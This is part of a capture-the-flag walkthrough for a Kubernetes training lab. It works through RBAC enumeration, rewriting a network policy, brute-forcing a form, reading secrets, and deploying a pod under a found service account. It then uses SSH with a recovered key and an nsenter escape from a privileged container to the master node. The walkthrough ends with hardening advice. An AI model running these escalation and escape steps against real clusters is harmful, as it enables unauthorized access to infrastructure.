networkpolicies.networking.k8s.io [] [] [get list patch update]
configmaps [] [] [get list]
namespaces [] [] [get list]
pods [] [] [get list]
services [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
pods/log [] [] [get]
There are an awful lot of permissions here, so let's break it down. We get
and list
configmaps, pods and services. We also have permissions to get
, list
, patch
and update
network policies. Lastly, we have permissions to get
pods logs.
Let's see what pods are running in the indian
namespace.
root@whydah-galley:/# kubectl get pods -n indian
NAME READY STATUS RESTARTS AGE
adventure-galley 1/1 Running 0 4h33m
Now let's have a look at the services available.
root@whydah-galley:/# kubectl get services -n indian
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
crack-in-hull ClusterIP 10.97.133.159 <none> 8080/TCP 4h34m
Interesting, let's try and curl the service.
root@whydah-galley:/# curl http://crack-in-hull.indian.svc.cluster.local:8080/
It seems that are request has timed out. As we have access to network policies, it could be that there is a network policy blocking our request. Let's have a look at the network policies.
root@whydah-galley:/# kubectl get networkpolicies -n indian
NAME POD-SELECTOR AGE
blockade ship=adventure-galley 4h39m
root@whydah-galley:/# kubectl get networkpolicies -n indian -oyaml
apiVersion: v1
items:
- apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"networking.k8s.io/v1","kind":"NetworkPolicy","metadata":{"annotations":{},"name":"blockade","namespace":"indian"},"spec":{"ingress":[{"from":[{"podSelector":{}}]}],"podSelector":{"matchLabels":{"ship":"adventure-galley"}}}}
creationTimestamp: "2023-11-20T09:59:56Z"
generation: 1
name: blockade
namespace: indian
resourceVersion: "975"
uid: 4a223409-8c85-48e4-94f1-aa8b3c37f641
spec:
ingress:
- from:
- podSelector: {}
podSelector:
matchLabels:
ship: adventure-galley
policyTypes:
- Ingress
status: {}
kind: List
metadata:
resourceVersion: ""
It would seem that we are correct. The network policy is blocking all ingress traffic to the adventure-galley
pod so let's modify it to allow ingress traffic. This can be achieved with the following network policy.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: blockade
namespace: indian
spec:
podSelector:
matchLabels:
ship: adventure-galley
ingress:
- {}
Note: You may need to install an editor on the whydah-galley. This is simply done with
apt update && apt install <editor>
root@whydah-galley:/# kubectl apply -f np.yaml
networkpolicy.networking.k8s.io/blockade configured
Let's try send http request to the service again:
root@whydah-galley:/# curl http://crack-in-hull.indian.svc.cluster.local:8080/
<!DOCTYPE html>
<html>
<head>
<h3>Adventure Galley</h3>
<meta charset="UTF-8" />
</head>
<body>
<p>You see a weakness in the Adventure Galley. Perform an Action with an Object to reduce the pirate ship to Logs.</p>
<div>
<form method="POST" action="/">
<input type="text" id="Action" name="a" placeholder="Action"><br>
<input type="text" id="Object" name="o" placeholder="Object"><br>
<button>Enter</button>
</form>
</div>
</body>
</html>
The results from the HTTP request is interesting. It seems that we need to perform the correct action with the correct object with a POST request to the endpoint. Given that we have permissions to get
pod/logs and the body stating the pirate ship is reduced to logs, it is likely that a log would be admitted from the pod.
The only issue is that we don't know what action or object to use but we do have get
and list
to configmaps so let's look into that.
root@whydah-galley:/# kubectl get configmaps -n indian
NAME DATA AGE
kube-root-ca.crt 1 4h58m
options 2 4h58m
The options
configmap seems interesting. Let's have a look at the contents.
root@whydah-galley:/# kubectl get configmaps options -n indian -oyaml
apiVersion: v1
data:
action: |
- "use"
- "fire"
- "launch"
- "throw"
object: |
- "digital-parrot-clutching-a-cursed-usb"
- "rubber-chicken-with-a-pulley-in-the-middle"
- "cyber-trojan-cracking-cannonball"
- "hashjack-hypertext-harpoon"
kind: ConfigMap
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","data":{"action":"- \"use\"\n- \"fire\"\n- \"launch\"\n- \"throw\"\n","object":"- \"digital-parrot-clutching-a-cursed-usb\"\n- \"rubber-chicken-with-a-pulley-in-the-middle\"\n- \"cyber-trojan-cracking-cannonball\"\n- \"hashjack-hypertext-harpoon\"\n"},"kind":"ConfigMap","metadata":{"annotations":{},"name":"options","namespace":"indian"}}
creationTimestamp: "2023-11-20T09:59:56Z"
name: options
namespace: indian
resourceVersion: "974"
uid: 03b6b912-e835-4cfd-90fc-1a23394e9b31
Great. Looks like we found our action and object. Let's try and send a POST request to the service. At this point, we could manually try to use each action with each object but this could easily be achieved with a simple bash script.
root@whydah-galley:~# A=("use" "fire" "launch" "throw"); O=("digital-parrot-clutching-a-cursed-usb" "rubber-chicken-with-a-pulley-in-the-middle" "cyber-trojan-cracking-cannonball" "hashjack-hypertext-harpoon"); for a in "${A[@]}"; do for o in "${O[@]}"; do curl -X POST -d "a=$a&o=$o" http://crack-in-hull.indian.svc.cluster.local:8080/; done; done
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
DIRECT HIT! It looks like something fell out of the hold.
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
Great. It seems like something has happened with one of our requests. Let's have a look at the logs of the adventure-galley
pod.
root@whydah-galley:~# kubectl logs adventure-galley -n indian
2023/11/20 15:08:13 starting server on :8080
2023/11/20 15:21:27 treasure-map-5: qm9IZskNawm5JCxuntCHg2+bPirtqNZcqUV2wWxVmKOKHTc4Y58UESTMiOvvPFFcOuT5vi
F7V5FIgpSEYfMy71CVmGmo0lJQAFZmVDf0PQjiLhYDn/x+MS2viTSzIau8IBu0Bu0rjXIa
DTDOJUsuKRyQ9EIBWduk2S3+d+LqXTx5v2YqIPZ+5q4dpDlmenHN7foEVyC6hHGgmHFgJ2
69HtZ8HWVtkwv+4maQevZCPnm5CpedgmGYX1dIOMXt/4YR4Pr6zK6W9R3Mcv+FJVDMqE3R
Q0v4m+CgvDanbYaULpAAABAQCPM+Hn3eTgx6//vBLEMz7EccyOAKFr/DrYtg+OjLRhZicZ
cYqHvP6uoc9MA3fQK2YCZxFO82MpBYuBnh6ypPoPIn2VhJRlwvz9fd7KtKRZrZgE0WXG9h
eEoqyvsWQj1IU2aZ5mpjG8A8+fNoT7RROR4M8Lr1g7nTMZy922jUWFyFg52AcaMF3jxY2n
We have our fifth piece of the map. Let's add it to the rest of the pieces and move onto the south-pacific
Let's enumerate our permissions in the south-pacific
namespace.
root@whydah-galley:~# kubectl auth can-i --list -n south-pacific
Resources Non-Resource URLs Resource Names Verbs
pods/exec [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
deployments.apps [] [] [get list create patch update delete]
namespaces [] [] [get list]
pods [] [] [get list]
serviceaccounts [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
The most significant permission here is the ability to create
deployments and exec
into pods within the south-pacific
namespace. Once again we have permissions to get
and list
service accounts in the namespace so much like we did for the south-atlantic
namespace if we deploy a pod we may need to use a specific service account.
Let's enumerate the service accounts in the south-pacific
namespace.
root@whydah-galley:~# kubectl get serviceaccounts -n south-pacific
NAME SECRETS AGE
default 0 39m
port-finder 0 39m
We've found another service account called port-finder
. Let's create a deployment and include the service account.
apiVersion: apps/v1
kind: Deployment
metadata:
name: invader
labels:
app: invader
namespace: south-pacific
spec:
selector:
matchLabels:
app: invader
replicas: 1
template:
metadata:
labels:
app: invader
spec:
serviceAccountName: port-finder
containers:
- name: invader
image: ttl.sh/invader-sag34afsa-wakeward:12h
command: ["sleep", "2d"]
imagePullPolicy: IfNotPresent
Note: The image within the deployment is using
ttl.sh
which is a annoymous and ephemerial registry which is excellent for images you may not want to persist for a long time. For more information, please see https://ttl.sh/.
root@whydah-galley:~# kubectl apply -f deploy.yaml
Warning: would violate PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "invader" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "invader" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "invader" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "invader" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
deployment.apps/invader created
Okay it seems that our deployment has been blocked by Pod Security Standards (PSS). PSS is a framework that restrict privileges for different kinds of pods and users. There three different policies to broadly cover the security spectrum and in this instance the restricted
policy has been applied. To understand the requirements, please review the following https://kubernetes.io/docs/concepts/security/pod-security-standards/#restricted.
Even though it states our deployment has been created, if we review the deployment we see it is 0/1
is ready.
deployment.apps/invader created
root@whydah-galley:~# kubectl get deployments -n south-pacific
NAME READY UP-TO-DATE AVAILABLE AGE
invader 0/1 0 0 2m47s
Let's modify the deployment to include the required security context and seccomp profile.
apiVersion: apps/v1
kind: Deployment
metadata:
name: invader
labels:
app: invader
namespace: south-pacific
spec:
selector:
matchLabels:
app: invader
replicas: 1
template:
metadata:
labels:
app: invader
spec:
serviceAccountName: port-finder
securityContext:
seccompProfile:
type: RuntimeDefault
containers:
- name: invader
image: ttl.sh/invader-sag34afsa-wakeward:12h
command: ["sleep", "2d"]
imagePullPolicy: IfNotPresent
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- "ALL"
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 2000
root@whydah-galley:~# kubectl apply -f deploy.yaml
deployment.apps/invader configured
root@whydah-galley:~# kubectl get pods -n south-pacific
NAME READY STATUS RESTARTS AGE
invader-55f8b55bd-wsbl4 1/1 Running 0 4m43s
Excellent our deployment has worked.
Note: As we are using a pod under the restrictions of PSS, we should include several tools within the container image as it will not be running as root, making it challenging to install binaries when deployed. For the following steps, ensure that the container image has
kubectl
,jq
, andopenssh-client
installed.
Let's access our deployed pod and see what the pod-finder service account has permissions to do.
root@whydah-galley:~# kubectl exec -it invader-55f8b55bd-wsbl4 -n south-pacific -- /bin/bash
swashbyter@invader-55f8b55bd-wsbl4:/$
swashbyter@invader-55f8b55bd-wsbl4:/$ kubectl auth can-i --list -n south-pacific
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
We have access to secrets, so let's enumerate secrets and see what is there.
swashbyter@invader-55f8b55bd-wsbl4:/$ kubectl get secrets -n south-pacific
NAME TYPE DATA AGE
treasure-map-6 Opaque 1 63m
We can use the same command we did earlier for the treasure-map-2
secret and get the sixth piece of the map.
swashbyter@invader-55f8b55bd-wsbl4:/$ kubectl get secrets treasure-map-6 -n south-pacific -ojson | jq -Mr '.data."treasure-map-6"' | base64 -d
sNbNUb6lfcrFqy4guha1AaWY3m+W41fPW+LD9hTu7tnSDB7uyuBSjn/Eek0OohopdlVEb0
mQxldbpIc2qzvNB/yP8quwvv96SyjkVyQwUNyOLqgJMP9gAeRyHRZup4AnWKm3mPT7RDe7
fN6s1kJijzVOcA0xAAABAQDnCSGsjHx/zPPncT6C51IyKosnbMAk7oS8Nd6nSe3UnAwdOZ
rbZpU/nsuCN2+CXo5rUSCXi5IE6/gVTZJUGrPICIXXKl6h8YmBZiGUVk1lvsjVGZyb1JEL
wBwA7qbC89z1eHY+2HKnGcNtxjnQ3H0KHTDzWA/D7BBdyf9rwEqgFn+FvAPC26mN5Eanc9
FLvai+0MJJoOnQNjQ82v8cgvXAxwbByMpP636sYFrMfqdTz0qtnzMP7sVXOkeEqtlUn0/u
Qut7M9+qPKSD7L2wzymZgw3euu9YqAn+Qp09t9aqWcgUnPLCOCydjpyxB1RnZk233xg+UL
We've finally completed the map so let's put it all together and "sail" to the north-pacific
namespace. Let's see if our service account has access to any interesting resources.
swashbyter@invader-55f8b55bd-wsbl4:/$ kubectl auth can-i --list -n north-pacific
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
services [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
We have access to get
and list
services. Let's see what services are available.
swashbyter@invader-55f8b55bd-wsbl4:/$ kubectl get services -n north-pacific
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
plot-a-course ClusterIP 10.106.69.246 <none> 22/TCP 84m
Looks like we can use plot-a-course
service to ssh into the Royal Fortune
. Let's try and ssh into the service.
Note: We'll need a writeable directory to store the ssh key. We can use the
/tmp
orhome
directory for this. We'll also need tochmod 600
the key as ssh will not accept the key if it is not secure.
swashbyter@invader-55f8b55bd-wsbl4:~$ ssh -i key -p 22 root@10.106.69.246
| ___ \ _ \ \ / / _ \ | | | ___| _ | ___ \_ _| | | | \ | || ___|
| |_/ / | | |\ V / /_\ \| | | |_ | | | | |_/ / | | | | | | \| || |__
| /| | | | \ /| _ || | | _| | | | | / | | | | | | . ` || __|
| |\ \\ \_/ / | || | | || |____ | | \ \_/ / |\ \ | | | |_| | |\ || |___
\_| \_|\___/ \_/\_| |_/\_____/ \_| \___/\_| \_| \_/ \___/\_| \_/\____/
____...------------...____
_.-' /o/__ ____ __ __ __ \o\_ '-._
.' / / \ \ '.
|=====/o/======================\o\=====|
|____/_/________..____..________\_\____|
/ _/ \_ <_o#\__/#o_> _/ \_
\________________\####/________________/
|===\!/========================\!/===|
| |=| .---. |=| |
|===|o|=========/ \========|o|===|
| | | \() ()/ | | |
|===|o|======{'-.) A (.-'}=====|o|===|
| __/ \__ '-.\uuu/.-' __/ \__ |
|==== .'.'^'.'.====|=== .'.'^'.'.====|
| _\o/ __ {.' __ '.} _ _\o/ _|
|====================================|
WELCOME TO THE ROYAL FORTUNE, ENTER AND PLUNDER!
root@royal-fortune:~#
We've in!
Let's enumerate the Royal Fortune.
root@royal-fortune:~# env
SHELL=/bin/bash
PWD=/root
LOGNAME=root
MOTD_SHOWN=pam
HOME=/root
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
SSH_CONNECTION=192.168.109.68 49202 192.168.72.4 2222
TERM=xterm
USER=root
SHLVL=1
SSH_CLIENT=192.168.109.68 49202 2222
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
SSH_TTY=/dev/pts/0
_=/usr/bin/env
The environment variables does not indicate we have access to Kubernetes. There isn't anything sensitive in the root directory, other than our authorized_keys
.
root@royal-fortune:~# ls -la /root/
total 24
drwx------ 1 root root 4096 Nov 20 16:37 .
drwxr-xr-x 1 root root 4096 Nov 20 15:08 ..
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 2 root root 4096 Nov 20 16:37 .cache
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwxr-xr-x 2 root root 4096 Aug 16 16:04 .ssh
root@royal-fortune:~# cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw2jA/yOUV4H5ADct/mcMOTMDzT32g47bx7uUZ5OyTrWYONCSsexCDGTFvRCkFQyh7GK9ykpeTCb6dIvFuNSfkhbxMViH/KDKRbxRsyqe4sxD5xG/ZbR3HPy7ZiMufbKoPLyUexyvlBShQtI4RVO2nUEsMEiD7EjdOvJx6G5X1BqTdaSYSfVZdBx1gqEwoO052jVdVY02rte6awMBq+mBPbKSr6GnwQ0hTOOAh9Jrt8SELd3aQUHtYsxM+YDVFw7T8PdJ1RnCRn/WqXGftzQvp2hb/tERunfUko7MfK6sOuz+YWmLhDKFix8hpa2fVwqpJbky6aJYmLhtPJFgw3fhkkD8f0A03QEUZTVwiygdXReOyO5F//tYadyRVxgCrcujQH8VlNAVmfk0w3Or1B7PuiBOvZwqNJblfJU+W+CCwP22vF8CH36bgLCqMDVy2xMBOaIAWpbarkwkee6ayQd8BLWgX0RrB0DXoE8NDBK1+SN1r+QHesCELl75tAioWu8CLFT6OHCx1BT8tX6JnpdFuufRP+bR7hL4U6TOXxM0V33Wf4wANbC8qw2DMypV8vT9JYOKyKzhKHnhl1qm1RLrSeQwiBfew/rlQVcQMiNQn3dxC98tjRbh54ethpzZJniPwp5IfzB+VNSjLzw5wWXt/ck/egnUxVUVWsfwvqI1Itw== root@royal-fortuneroot@royal-fortune:~#
Let's see have a look under /proc
and see what processes we have access to.
root@royal-fortune:~# ls -la /proc
total 4
dr-xr-xr-x 210 root root 0 Nov 20 15:08 .
drwxr-xr-x 1 root root 4096 Nov 20 15:08 ..
dr-xr-xr-x 9 root root 0 Nov 20 16:37 1
dr-xr-xr-x 9 root root 0 Nov 20 16:46 10
dr-xr-xr-x 9 root root 0 Nov 20 16:46 100
dr-xr-xr-x 9 root root 0 Nov 20 16:46 101
dr-xr-xr-x 9 root root 0 Nov 20 16:46 102
dr-xr-xr-x 9 root root 0 Nov 20 16:46 103
dr-xr-xr-x 9 root root 0 Nov 20 16:46 104
dr-xr-xr-x 9 root root 0 Nov 20 16:46 105
dr-xr-xr-x 9 root root 0 Nov 20 16:46 106
dr-xr-xr-x 9 root root 0 Nov 20 16:46 107
dr-xr-xr-x 9 root root 0 Nov 20 16:46 108
dr-xr-xr-x 9 root root 0 Nov 20 16:46 11
dr-xr-xr-x 9 root root 0 Nov 20 16:46 110
dr-xr-xr-x 9 root root 0 Nov 20 16:46 1111
dr-xr-xr-x 9 root root 0 Nov 20 16:46 112
dr-xr-xr-x 9 root root 0 Nov 20 16:46 113
dr-xr-xr-x 9 root root 0 Nov 20 16:46 114
dr-xr-xr-x 9 root root 0 Nov 20 16:46 12
dr-xr-xr-x 9 root root 0 Nov 20 16:46 12215
dr-xr-xr-x 9 root root 0 Nov 20 16:46 123
dr-xr-xr-x 9 root root 0 Nov 20 16:46 126
dr-xr-xr-x 9 root root 0 Nov 20 16:46 127
dr-xr-xr-x 9 root root 0 Nov 20 16:46 13
dr-xr-xr-x 9 root root 0 Nov 20 16:46 132
dr-xr-xr-x 9 root root 0 Nov 20 16:46 133
dr-xr-xr-x 9 root root 0 Nov 20 16:46 134
dr-xr-xr-x 9 root root 0 Nov 20 16:46 14
dr-xr-xr-x 9 root root 0 Nov 20 16:46 15
dr-xr-xr-x 9 root root 0 Nov 20 16:46 1543
dr-xr-xr-x 9 root root 0 Nov 20 16:46 16
dr-xr-xr-x 9 root root 0 Nov 20 16:46 1604
dr-xr-xr-x 9 root root 0 Nov 20 16:46 174
dr-xr-xr-x 9 root root 0 Nov 20 16:46 18
dr-xr-xr-x 9 root root 0 Nov 20 16:46 19
dr-xr-xr-x 9 root root 0 Nov 20 16:46 2
dr-xr-xr-x 9 root root 0 Nov 20 16:46 20
dr-xr-xr-x 9 root root 0 Nov 20 16:46 207
dr-xr-xr-x 9 root root 0 Nov 20 16:46 21
dr-xr-xr-x 9 root root 0 Nov 20 16:46 210
...
Wow. It looks like we have a lot of processes running on the system which may indicate we have access to the host pid. It is highly likely we are running in a privileged container.
We can confirm whether we are running in a privileged container by using capsh
but it is currenty not installed on the system. We can use apt
to install it.
root@royal-fortune:/# apt update && apt-get install -y libcap2-bin
Hit:1 http://archive.ubuntu.com/ubuntu jammy InRelease
Get:2 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB]
Get:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease [119 kB]
Get:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease [109 kB]
Get:5 http://security.ubuntu.com/ubuntu jammy-security/main amd64 Packages [1204 kB]
Get:6 http://archive.ubuntu.com/ubuntu jammy-updates/multiverse amd64 Packages [49.8 kB]
Get:7 http://archive.ubuntu.com/ubuntu jammy-updates/main amd64 Packages [1473 kB]
Get:8 http://archive.ubuntu.com/ubuntu jammy-updates/restricted amd64 Packages [1430 kB]
Get:9 http://archive.ubuntu.com/ubuntu jammy-updates/universe amd64 Packages [1278 kB]
Get:10 http://security.ubuntu.com/ubuntu jammy-security/restricted amd64 Packages [1404 kB]
Get:11 http://archive.ubuntu.com/ubuntu jammy-backports/universe amd64 Packages [32.6 kB]
Get:12 http://archive.ubuntu.com/ubuntu jammy-backports/main amd64 Packages [78.3 kB]
Get:13 http://security.ubuntu.com/ubuntu jammy-security/multiverse amd64 Packages [44.0 kB]
Get:14 http://security.ubuntu.com/ubuntu jammy-security/universe amd64 Packages [1011 kB]
Fetched 8342 kB in 1s (5619 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
26 packages can be upgraded. Run 'apt list --upgradable' to see them.
...
Now we can use capsh
to confirm whether we are running in a privileged container.
root@royal-fortune:/# capsh --print
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
Ambient set =
Current IAB:
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: UNCERTAIN (0)
Our bounding set seems to have all the linux capabilities. Let's see what our current bash session has.
root@royal-fortune:/# grep Cap /proc/$BASHPID/status
CapInh: 0000000000000000
CapPrm: 000001ffffffffff
CapEff: 000001ffffffffff
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
root@royal-fortune:/#
This confirms it. The value 000001ffffffffff
equates to all the linux capabilities and this is currently set for the permitted, effective and bounding set. Based on this we should be able to use nsenter
to enter into the host pid namespace.
root@royal-fortune:/# nsenter -t 1 -i -u -n -m bash
root@master-1:/[0]$
Amazing we are on the master node. A quick look into the /root
directory reveals the final flag.
root@master-1:/[0]$ ls -la /root/
total 40
drwx------ 6 root root 4096 Nov 20 15:08 .
drwxr-xr-x 20 root root 4096 Nov 20 15:06 ..
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 4 root root 4096 Nov 20 15:05 .gnupg
drwxr-xr-x 3 root root 4096 Nov 20 15:06 .kube
-rw-r--r-- 1 root root 161 Nov 20 15:07 .profile
drwx------ 2 root root 4096 Jan 23 2023 .ssh
-rw-r--r-- 1 root root 165 Jan 23 2023 .wget-hsts
-rw-r--r-- 1 root root 42 Nov 20 15:08 flag.txt
drwx------ 4 root root 4096 Jan 23 2023 snap
root@master-1:/[1]$ cat /root/flag.txt
flag_ctf{TOTAL_MASTERY_OF_THE_SEVEN_SEAS}
Congratulations, you have solved Seven Seas.
This CTF scenario does not have a remediation plan as the purpose is teach Kubernetes and container fundamentals. But important security considerations.
- Where possible do not run privilged containers. If you do need to run privilged containers, ensure you have sufficiently isolated the container onto a seperate node pool to reduce the blast radius.
- Be careful with the permissions you grant service accounts. If a pod is compromised, an adversary can leverage the permissions to perform malicious actions on the cluster. Where possible, use the default account.
- Kubernetes Secrets are base64 encoded and are not secure, be careful with how you use them and who you grant access to secrets
- The Kubernetes network is flat by default and network policies are effective at limiting access to workloads.
- Pod Security Standards restrict the admission of pods that do not meet the requirements. This is a good way to ensure that pods are not running with excessive privileges.